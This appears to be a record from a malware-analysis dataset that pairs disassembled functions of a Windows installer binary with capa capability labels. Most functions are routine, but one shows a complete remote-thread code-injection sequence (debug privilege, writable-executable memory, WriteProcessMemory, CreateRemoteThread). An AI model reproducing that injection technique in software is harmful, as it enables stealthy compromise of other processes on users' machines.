joyce8/EMBER2024-capa huggingface dataset:
Function at 0x492710
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4aa17e
mov eax, dword fs:[0]
push eax
sub esp, 0x210
mov eax, dword [0x4e100c]
xor eax, ebp
mov dword [ebp - 0x10], eax
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x21c], ecx
mov ecx, dword [ebp - 0x21c]
add ecx, 0x15ec
call fcn.00409500
mov dword [ebp - 4], 0
mov ecx, dword [ebp - 0x21c]
add ecx, 0x15f0
call fcn.004138e0
mov byte [ebp - 4], 1
mov ecx, dword [ebp - 0x21c]
add ecx, 0x15fc
call fcn.004138e0
mov byte [ebp - 4], 2
mov ecx, dword [ebp - 0x21c]
add ecx, 0x16ac
call fcn.00409500
mov byte [ebp - 4], 3
mov ecx, dword [ebp - 0x21c]
add ecx, 0x16b0
call fcn.00409500
mov byte [ebp - 4], 4
mov ecx, dword [ebp - 0x21c]
add ecx, 0x16b4
call fcn.00409500
mov byte [ebp - 4], 5
mov ecx, dword [ebp - 0x21c]
add ecx, 0x1784
call fcn.0041f910
mov byte [ebp - 4], 6
mov eax, dword [ebp - 0x21c]
mov byte [eax + 8], 0
mov ecx, dword [ebp - 0x21c]
mov byte [ecx + 0x16b8], 0
push 0x4c49e0
mov ecx, dword [ebp - 0x21c]
add ecx, 0x15ec
call fcn.00409300
push 0x4c49e4
mov ecx, dword [ebp - 0x21c]
add ecx, 0x16b4
call fcn.00409300
mov edx, dword [ebp - 0x21c]
mov dword [edx + 4], 0
mov eax, dword [ebp - 0x21c]
mov byte [eax + 0x1608], 0
mov ecx, dword [ebp - 0x21c]
mov byte [ecx + 0x1609], 0
mov edx, dword [ebp - 0x21c]
mov byte [edx + 0x160a], 0
mov eax, dword [ebp - 0x21c]
mov byte [eax + 0x160b], 0
mov ecx, dword [ebp - 0x21c]
mov byte [ecx + 0x160c], 0
mov edx, dword [ebp - 0x21c]
mov byte [edx + 0x160d], 0
mov eax, dword [ebp - 0x21c]
mov byte [eax + 0x160e], 0
mov ecx, dword [ebp - 0x21c]
mov byte [ecx + 0x1618], 0
mov edx, dword [ebp - 0x21c]
mov dword [edx + 0x1620], 0
push 0xc8
push 0
mov eax, dword [ebp - 0x21c]
add eax, 0x16ba
push eax
call fcn.004307d0
add esp, 0xc
push 0x15c8
push 0
mov ecx, dword [ebp - 0x21c]
add ecx, 0x24
push ecx
call fcn.004307d0
add esp, 0xc
push 0x208
push 0
lea edx, [ebp - 0x218]
push edx
call fcn.004307d0
add esp, 0xc
push 0
push 0x1c
lea eax, [ebp - 0x218]
push eax
push 0
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathW]
push 0x4c49e8
lea ecx, [ebp - 0x218]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcatW]
lea edx, [ebp - 0x218]
push edx
call sym.Install_adv.exe_int___cdecl_CreateDirTree_wchar_t_const__
add esp, 4
lea eax, [ebp - 0x218]
push eax
mov ecx, dword [ebp - 0x21c]
add ecx, 0x16ac
call fcn.00409300
mov dword [ebp - 4], 0xffffffff
mov eax, dword [ebp - 0x21c]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0042eb1e
mov esp, ebp
pop ebp
ret
Function at 0x4929e0
Capabilities:
Check if file exists
Get common file path
Get program files directory
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x62c
mov eax, dword [0x4e100c]
xor eax, ebp
mov dword [ebp - 4], eax
mov dword [ebp - 0x620], ecx
push 0x208
push 0
lea eax, [ebp - 0x414]
push eax
call fcn.004307d0
add esp, 0xc
push 0x104
lea ecx, [ebp - 0x414]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
push 0x4c4a58
lea edx, [ebp - 0x414]
push edx
call fcn.004395a8
add esp, 8
mov dword [ebp - 0x624], eax
cmp dword [ebp - 0x624], 0
jne 0x492a4d
xor al, al
jmp 0x492bb4
lea eax, [ebp - 0x62c]
push eax
push 0x4c4a60
push 0x1f41
call sym.Install_adv.exe_int___cdecl_NsResGetBuff_int__wchar_t_const___void__
add esp, 0xc
mov dword [ebp - 0x628], eax
cmp dword [ebp - 0x628], 0
jne 0x492ad0
push 0x15c8
push 0
mov ecx, dword [ebp + 8]
push ecx
call fcn.004307d0
add esp, 0xc
push 0x208
push 0
lea edx, [ebp - 0x61c]
push edx
call fcn.004307d0
add esp, 0xc
push 0
push 0x26
lea eax, [ebp - 0x61c]
push eax
push 0
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathW]
lea ecx, [ebp - 0x61c]
push ecx
mov ecx, dword [ebp - 0x620]
add ecx, 0x16b0
call fcn.00409300
xor al, al
jmp 0x492bb4
push 0
mov edx, dword [ebp - 0x62c]
push edx
mov eax, dword [ebp - 0x624]
push eax
call fcn.0043c190
add esp, 0xc
push 0x15c8
push 0
mov ecx, dword [ebp + 8]
push ecx
call fcn.004307d0
add esp, 0xc
mov edx, dword [ebp - 0x624]
push edx
push 1
push 0x15c8
mov eax, dword [ebp + 8]
push eax
call fcn.0043bd34
add esp, 0x10
mov ecx, dword [ebp - 0x624]
push ecx
call fcn.0043969e
add esp, 4
mov edx, dword [ebp + 8]
push edx
mov ecx, dword [ebp - 0x620]
call sym.Install_adv.exe_private:_void___thiscall_CNsInstaller::InitPath_struct_tagSetupInfo__
mov eax, dword [ebp - 0x620]
add eax, 0x1638
push eax
mov ecx, dword [ebp - 0x620]
call sym.Install_adv.exe_public:_bool___thiscall_CNsInstaller::GetMoreInfo_struct_tagMorePacketInfo__
movzx ecx, al
test ecx, ecx
je 0x492bb2
mov edx, dword [ebp - 0x620]
cmp dword [edx + 0x1640], 0
je 0x492bb2
push 0x208
push 0
lea eax, [ebp - 0x20c]
push eax
call fcn.004307d0
add esp, 0xc
lea ecx, [ebp - 0x20c]
push ecx
mov edx, dword [ebp + 8]
push edx
call sym.Install_adv.exe_int___cdecl_GetInstallPath_wchar_t_const___wchar_t__
add esp, 8
lea eax, [ebp - 0x20c]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
je 0x492bb2
lea ecx, [ebp - 0x20c]
push ecx
mov ecx, dword [ebp - 0x620]
add ecx, 0x16b0
call fcn.00409300
mov al, 1
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0042eb1e
mov esp, ebp
pop ebp
ret 4
Function at 0x492d10
Capabilities:
Check if file exists

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4aa1d1
mov eax, dword fs:[0]
push eax
sub esp, 8
mov eax, dword [0x4e100c]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x14], ecx
mov eax, dword [ebp - 0x14]
cmp dword [eax + 0x15ac], 0
je 0x492db1
lea ecx, [ebp - 0x10]
call fcn.00409500
mov dword [ebp - 4], 0
mov ecx, dword [ebp - 0x14]
add ecx, 0x920
push ecx
mov edx, dword [ebp - 0x14]
mov eax, dword [edx + 0x16b0]
push eax
push 0x4c5208
lea ecx, [ebp - 0x10]
push ecx
call fcn.00409ab0
add esp, 0x10
lea ecx, [ebp - 0x10]
call sym.Install_adv.exe_public:_char_const____thiscall_Json::StaticString::operator_char_const__void_const
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
je 0x492da2
push 5
push 0
push 0
lea ecx, [ebp - 0x10]
call sym.Install_adv.exe_public:_char_const____thiscall_Json::StaticString::operator_char_const__void_const
push eax
call sym.Install_adv.exe_int___cdecl_DoRun_wchar_t_const___wchar_t_const___int__int_
add esp, 0x10
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x10]
call fcn.004093c0
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
mov esp, ebp
pop ebp
ret

Function at 0x493360
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
cmp dword [ebp + 8], 0
je 0x493381
cmp dword [ebp + 0xc], 0
je 0x493381
mov eax, dword [ebp + 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenW]
cmp eax, 0x1e
jl 0x493386
jmp 0x493424
push 0x294
call fcn.0042f06b
add esp, 4
mov dword [ebp - 0xc], eax
mov ecx, dword [ebp - 0xc]
mov dword [ebp - 4], ecx
push 0x294
push 0
mov edx, dword [ebp - 4]
push edx
call fcn.004307d0
add esp, 0xc
mov eax, dword [ebp + 8]
push eax
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
mov edx, dword [ebp + 0xc]
push edx
mov eax, dword [ebp - 4]
add eax, 0x190
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
cmp dword [ebp + 0x10], 0
je 0x4933f8
mov ecx, dword [ebp + 0x10]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrlenW]
cmp eax, 0x64
jge 0x4933f8
mov edx, dword [ebp + 0x10]
push edx
mov eax, dword [ebp - 4]
add eax, 0x1cc
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
lea ecx, [ebp - 0x10]
push ecx
push 0
mov edx, dword [ebp - 4]
push edx
push 0x493180
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
je 0x493424
mov eax, dword [ebp - 8]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov esp, ebp
pop ebp
ret
Function at 0x495500
Capabilities:
Hash data with md5

Disassembly:
push ebp
mov ebp, esp
push ecx
mov dword [ebp - 4], ecx
mov eax, 4
shl eax, 0
mov ecx, dword [ebp + 8]
mov dword [ecx + eax + 0x10], 0
mov edx, 4
imul eax, edx, 0
mov ecx, dword [ebp + 8]
mov dword [ecx + eax + 0x10], 0
mov edx, 4
imul eax, edx, 0
mov ecx, dword [ebp + 8]
mov dword [ecx + eax], 0x67452301
mov edx, 4
shl edx, 0
mov eax, dword [ebp + 8]
mov dword [eax + edx], 0xefcdab89
mov ecx, 4
shl ecx, 1
mov edx, dword [ebp + 8]
mov dword [edx + ecx], 0x98badcfe
mov eax, 4
imul ecx, eax, 3
mov edx, dword [ebp + 8]
mov dword [edx + ecx], 0x10325476
mov esp, ebp
pop ebp
ret 4
Function at 0x495c00
Capabilities:
Check os version

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x124
mov eax, dword [0x4e100c]
xor eax, ebp
mov dword [ebp - 4], eax
mov dword [ebp - 0x124], ecx
push 0x11c
push 0
lea eax, [ebp - 0x120]
push eax
call fcn.004307d0
add esp, 0xc
mov dword [ebp - 0x120], 0x11c
lea ecx, [ebp - 0x120]
push ecx
call dword [sym.imp.KERNEL32.dll_GetVersionExW]
cmp dword [ebp - 0x11c], 5
jne 0x495c75
cmp dword [ebp - 0x118], 1
je 0x495c61
cmp dword [ebp - 0x118], 2
jne 0x495c75
push str.Windows_XP
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
jmp 0x495d1c
cmp dword [ebp - 0x11c], 6
jne 0x495c9b
cmp dword [ebp - 0x118], 0
jne 0x495c9b
push str.Windows_Vista
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
jmp 0x495d1c
cmp dword [ebp - 0x11c], 6
jne 0x495cbe
cmp dword [ebp - 0x118], 1
jne 0x495cbe
push str.Windows_7
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
jmp 0x495d1c
cmp dword [ebp - 0x11c], 6
jne 0x495ce1
cmp dword [ebp - 0x118], 2
jne 0x495ce1
push str.Windows_8
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
jmp 0x495d1c
cmp dword [ebp - 0x11c], 6
jne 0x495d04
cmp dword [ebp - 0x118], 3
jne 0x495d04
push str.Windows_8.1
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
jmp 0x495d1c
cmp dword [ebp - 0x11c], 0xa
jne 0x495d1c
push str.Windows_10
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
mov al, 1
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0042eb1e
mov esp, ebp
pop ebp
ret 4
Function at 0x495d30
Capabilities:
Get process image filename

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x818
mov eax, dword [0x4e100c]
xor eax, ebp
mov dword [ebp - 4], eax
mov dword [ebp - 0x814], ecx
mov eax, dword [ebp + 8]
push eax
mov ecx, dword [ebp - 0x814]
call sym.Install_adv.exe_public:_int___thiscall_CNsProcess::GetProcId_wchar_t_const__
mov dword [ebp - 0x818], eax
mov ecx, dword [ebp - 0x818]
push ecx
push 0
push 0x400
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov dword [ebp - 0x810], eax
cmp dword [ebp - 0x810], 0
jne 0x495d88
xor al, al
jmp 0x495e6e
mov byte [ebp - 0x805], 0
mov dword [ebp - 0x80c], 0x400
mov edx, dword [ebp - 0x80c]
push edx
push 0
lea eax, [ebp - 0x804]
push eax
call fcn.004307d0
add esp, 0xc
mov ecx, dword [ebp - 0x80c]
push ecx
lea edx, [ebp - 0x804]
push edx
mov eax, dword [ebp - 0x810]
push eax
call dword [sym.imp.PSAPI.DLL_GetProcessImageFileNameW]
test eax, eax
je 0x495dd9
mov byte [ebp - 0x806], 1
jmp 0x495de0
mov byte [ebp - 0x806], 0
mov cl, byte [ebp - 0x806]
mov byte [ebp - 0x805], cl
lea edx, [ebp - 0x804]
push edx
mov ecx, dword [ebp - 0x814]
call sym.Install_adv.exe_public:_bool___thiscall_CNsProcess::DosToDrivePath_wchar_t__
mov byte [ebp - 0x805], al
movzx eax, byte [ebp - 0x805]
test eax, eax
jne 0x495e4c
mov ecx, dword [ebp - 0x80c]
push ecx
lea edx, [ebp - 0x804]
push edx
push 0
mov eax, dword [ebp - 0x810]
push eax
call dword [sym.imp.PSAPI.DLL_GetModuleFileNameExW]
test eax, eax
je 0x495e39
mov byte [ebp - 0x807], 1
jmp 0x495e40
mov byte [ebp - 0x807], 0
mov cl, byte [ebp - 0x807]
mov byte [ebp - 0x805], cl
movzx edx, byte [ebp - 0x805]
test edx, edx
je 0x495e68
lea eax, [ebp - 0x804]
push eax
mov ecx, dword [ebp + 0xc]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
mov al, byte [ebp - 0x805]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0042eb1e
mov esp, ebp
pop ebp
ret 8
Function at 0x495e80
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x240
mov eax, dword [0x4e100c]
xor eax, ebp
mov dword [ebp - 4], eax
mov dword [ebp - 0x240], ecx
mov dword [ebp - 0x238], 0
push 0
push 2
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov dword [ebp - 0x234], eax
cmp dword [ebp - 0x234], 0xffffffff
jne 0x495ec7
mov eax, dword [ebp - 0x238]
jmp 0x495f8f
push 0x22c
push 0
lea eax, [ebp - 0x230]
push eax
call fcn.004307d0
add esp, 0xc
mov dword [ebp - 0x230], 0x22c
lea ecx, [ebp - 0x230]
push ecx
mov edx, dword [ebp - 0x234]
push edx
call dword [sym.imp.KERNEL32.dll_Process32FirstW]
mov dword [ebp - 0x23c], eax
cmp dword [ebp - 0x23c], 0
je 0x495f7c
mov eax, dword [ebp + 8]
push eax
lea ecx, [ebp - 0x20c]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcmpiW]
test eax, eax
jne 0x495f40
mov edx, dword [ebp - 0x228]
mov dword [ebp - 0x238], edx
mov eax, dword [ebp - 0x234]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0x238]
jmp 0x495f8f
push 0x22c
push 0
lea ecx, [ebp - 0x230]
push ecx
call fcn.004307d0
add esp, 0xc
mov dword [ebp - 0x230], 0x22c
lea edx, [ebp - 0x230]
push edx
mov eax, dword [ebp - 0x234]
push eax
call dword [sym.imp.KERNEL32.dll_Process32NextW]
mov dword [ebp - 0x23c], eax
jmp 0x495f01
mov ecx, dword [ebp - 0x234]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0x238]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0042eb1e
mov esp, ebp
pop ebp
ret 4

Function at 0x495ff0
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x23c
mov eax, dword [0x4e100c]
xor eax, ebp
mov dword [ebp - 4], eax
mov dword [ebp - 0x23c], ecx
push 0
push 2
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov dword [ebp - 0x234], eax
cmp dword [ebp - 0x234], 0xffffffff
jne 0x496029
xor al, al
jmp 0x4960c4
push 0x22c
push 0
lea eax, [ebp - 0x230]
push eax
call fcn.004307d0
add esp, 0xc
mov dword [ebp - 0x230], 0x22c
lea ecx, [ebp - 0x230]
push ecx
mov edx, dword [ebp - 0x234]
push edx
call dword [sym.imp.KERNEL32.dll_Process32FirstW]
mov dword [ebp - 0x238], eax
cmp dword [ebp - 0x238], 0
je 0x4960b5
mov eax, dword [ebp - 0x228]
cmp eax, dword [ebp + 8]
jne 0x496099
lea ecx, [ebp - 0x20c]
push ecx
mov edx, dword [ebp + 0xc]
push edx
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
mov eax, dword [ebp - 0x234]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, 1
jmp 0x4960c4
lea ecx, [ebp - 0x230]
push ecx
mov edx, dword [ebp - 0x234]
push edx
call dword [sym.imp.KERNEL32.dll_Process32NextW]
mov dword [ebp - 0x238], eax
jmp 0x496063
mov eax, dword [ebp - 0x234]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor al, al
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0042eb1e
mov esp, ebp
pop ebp
ret 8
Function at 0x4960e0
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x240
mov eax, dword [0x4e100c]
xor eax, ebp
mov dword [ebp - 4], eax
mov dword [ebp - 0x240], ecx
cmp dword [ebp + 8], 0xffffffff
jne 0x496108
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [ebp + 8], eax
mov dword [ebp - 0x238], 0
push 0
push 2
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov dword [ebp - 0x234], eax
cmp dword [ebp - 0x234], 0xffffffff
jne 0x496136
mov eax, dword [ebp - 0x238]
jmp 0x4961f4
push 0x22c
push 0
lea eax, [ebp - 0x230]
push eax
call fcn.004307d0
add esp, 0xc
mov dword [ebp - 0x230], 0x22c
lea ecx, [ebp - 0x230]
push ecx
mov edx, dword [ebp - 0x234]
push edx
call dword [sym.imp.KERNEL32.dll_Process32FirstW]
mov dword [ebp - 0x23c], eax
cmp dword [ebp - 0x23c], 0
je 0x49617b
jmp 0x496170
mov eax, dword [ebp - 0x228]
cmp eax, dword [ebp + 8]
jne 0x4961a7
mov ecx, dword [ebp - 0x218]
mov dword [ebp - 0x238], ecx
mov edx, dword [ebp - 0x234]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0x238]
jmp 0x4961f4
push 0x22c
push 0
lea eax, [ebp - 0x230]
push eax
call fcn.004307d0
add esp, 0xc
mov dword [ebp - 0x230], 0x22c
lea ecx, [ebp - 0x230]
push ecx
mov edx, dword [ebp - 0x234]
push edx
call dword [sym.imp.KERNEL32.dll_Process32NextW]
mov dword [ebp - 0x23c], eax
mov eax, dword [ebp - 0x234]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0x238]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0042eb1e
mov esp, ebp
pop ebp
ret 4
Function at 0x4963c0
Capabilities:
Acquire debug privileges
Allocate or change rwx memory
Create thread
Inject thread
Spawn thread to rwx shellcode

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x90
mov eax, dword [0x4e100c]
xor eax, ebp
mov dword [ebp - 4], eax
mov dword [ebp - 0x90], ecx
push 1
push 0x4c7414
call sym.Install_adv.exe_int___cdecl_SetPrivilege_wchar_t_const___int_
add esp, 8
mov eax, dword [ebp + 8]
push eax
push 0
push 0x42a
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov dword [ebp - 0x74], eax
cmp dword [ebp - 0x74], 0
jne 0x496409
xor al, al
jmp 0x496552
mov dword [ebp - 0x84], 0x1000
push 0x40
push 0x1000
mov ecx, dword [ebp - 0x84]
push ecx
push 0
mov edx, dword [ebp - 0x74]
push edx
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov dword [ebp - 0x80], eax
cmp dword [ebp - 0x80], 0
jne 0x49643d
xor al, al
jmp 0x496552
push 0
mov eax, dword [ebp - 0x84]
push eax
push 0x4967a0
mov ecx, dword [ebp - 0x80]
push ecx
mov edx, dword [ebp - 0x74]
push edx
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov dword [ebp - 0x78], eax
cmp dword [ebp - 0x78], 0
jne 0x496469
xor al, al
jmp 0x496552
push 0x6c
push 0
lea eax, [ebp - 0x70]
push eax
call fcn.004307d0
add esp, 0xc
push 0x4c7438
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov dword [ebp - 0x88], eax
push 0x4c7454
mov ecx, dword [ebp - 0x88]
push ecx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x70], eax
push 0x4c7464
mov edx, dword [ebp - 0x88]
push edx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x6c], eax
mov eax, dword [ebp + 0xc]
push eax
lea ecx, [ebp - 0x68]
push ecx
call fcn.0043ba70
add esp, 8
mov edx, dword [ebp + 0x10]
push edx
lea eax, [ebp - 0x36]
push eax
call fcn.0043ba70
add esp, 8
push 0x40
push 0x1000
push 0x6c
push 0
mov ecx, dword [ebp - 0x74]
push ecx
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov dword [ebp - 0x7c], eax
cmp dword [ebp - 0x7c], 0
jne 0x4964f6
xor al, al
jmp 0x496552
push 0
push 0x6c
lea edx, [ebp - 0x70]
push edx
mov eax, dword [ebp - 0x7c]
push eax
mov ecx, dword [ebp - 0x74]
push ecx
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov dword [ebp - 0x78], eax
cmp dword [ebp - 0x78], 0
jne 0x496519
xor al, al
jmp 0x496552
push 0
push 0
mov edx, dword [ebp - 0x7c]
push edx
mov eax, dword [ebp - 0x80]
push eax
push 0
push 0
mov ecx, dword [ebp - 0x74]
push ecx
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov dword [ebp - 0x8c], eax
cmp dword [ebp - 0x8c], 0
jne 0x496546
xor al, al
jmp 0x496552
mov edx, dword [ebp - 0x74]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, 1
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0042eb1e
mov esp, ebp
pop ebp
ret 0xc

Function at 0x4965b0
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov dword [ebp - 8], ecx
mov eax, dword [ebp + 8]
push eax
push 0
push 1
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov dword [ebp - 4], eax
push 4
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
mov esp, ebp
pop ebp
ret 4
Function at 0x4966c0
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x23c
mov eax, dword [0x4e100c]
xor eax, ebp
mov dword [ebp - 4], eax
mov dword [ebp - 0x23c], ecx
mov ecx, dword [ebp + 8]
call fcn.00416970
push 0
push 2
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov dword [ebp - 0x234], eax
push 0x22c
push 0
lea eax, [ebp - 0x230]
push eax
call fcn.004307d0
add esp, 0xc
mov dword [ebp - 0x230], 0x22c
lea ecx, [ebp - 0x230]
push ecx
mov edx, dword [ebp - 0x234]
push edx
call dword [sym.imp.KERNEL32.dll_Process32FirstW]
mov dword [ebp - 0x238], eax
cmp dword [ebp - 0x238], 0
je 0x49677f
lea eax, [ebp - 0x230]
push eax
mov ecx, dword [ebp + 8]
call fcn.00422230
push 0x22c
push 0
lea ecx, [ebp - 0x230]
push ecx
call fcn.004307d0
add esp, 0xc
mov dword [ebp - 0x230], 0x22c
lea edx, [ebp - 0x230]
push edx
mov eax, dword [ebp - 0x234]
push eax
call dword [sym.imp.KERNEL32.dll_Process32NextW]
mov dword [ebp - 0x238], eax
jmp 0x49672b
mov ecx, dword [ebp - 0x234]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, 1
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0042eb1e
mov esp, ebp
pop ebp
ret 4
Function at 0x4981f0
Capabilities:
Get http response content encoding

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4aa3ea
mov eax, dword fs:[0]
push eax
sub esp, 0x614
mov eax, dword [0x4e100c]
xor eax, ebp
mov dword [ebp - 0x10], eax
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x620], ecx
push 0x200
push 0
lea eax, [ebp - 0x210]
push eax
call fcn.004307d0
add esp, 0xc
mov dword [ebp - 0x618], 0x200
push 0
lea ecx, [ebp - 0x618]
push ecx
lea edx, [ebp - 0x210]
push edx
push 0x1d
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.WININET.dll_HttpQueryInfoW]
test eax, eax
je 0x498306
push 0x200
lea ecx, [ebp - 0x610]
push ecx
push 0xffffffffffffffff
lea edx, [ebp - 0x210]
push edx
push 0
push 0
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
lea eax, [ebp - 0x610]
push eax
lea ecx, [ebp - 0x614]
call fcn.004093e0
mov dword [ebp - 4], 0
lea ecx, [ebp - 0x614]
call fcn.0040dab0
push 0x4c763c
lea ecx, [ebp - 0x614]
call fcn.00419b70
test eax, eax
je 0x4982d0
push 0x4c7648
lea ecx, [ebp - 0x614]
call fcn.00419b70
test eax, eax
jne 0x4982f4
mov dword [ebp - 0x61c], 1
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x614]
call fcn.004093c0
mov eax, dword [ebp - 0x61c]
jmp 0x498308
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x614]
call fcn.004093c0
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0042eb1e
mov esp, ebp
pop ebp
ret 4

Function at 0x498330
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x214
mov eax, dword [0x4e100c]
xor eax, ebp
mov dword [ebp - 4], eax
mov dword [ebp - 0x214], ecx
push 0x1ac
push 0
mov eax, dword [ebp - 0x214]
push eax
call fcn.004307d0
add esp, 0xc
lea ecx, [ebp - 0x20c]
push ecx
call sym.Install_adv.exe_void___cdecl_GetCurPath_wchar_t__
add esp, 4
push 0x4c7620
lea edx, [ebp - 0x20c]
push edx
call dword [sym.imp.KERNEL32.dll_lstrcatW]
push 0x4c7634
lea eax, [ebp - 0x20c]
push eax
call fcn.004395a8
add esp, 8
mov dword [ebp - 0x210], eax
cmp dword [ebp - 0x210], 0
je 0x4983c0
mov ecx, dword [ebp - 0x210]
push ecx
push 1
push 0x1ac
mov edx, dword [ebp - 0x214]
push edx
call fcn.0043bd34
add esp, 0x10
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0042eb1e
mov esp, ebp
pop ebp
ret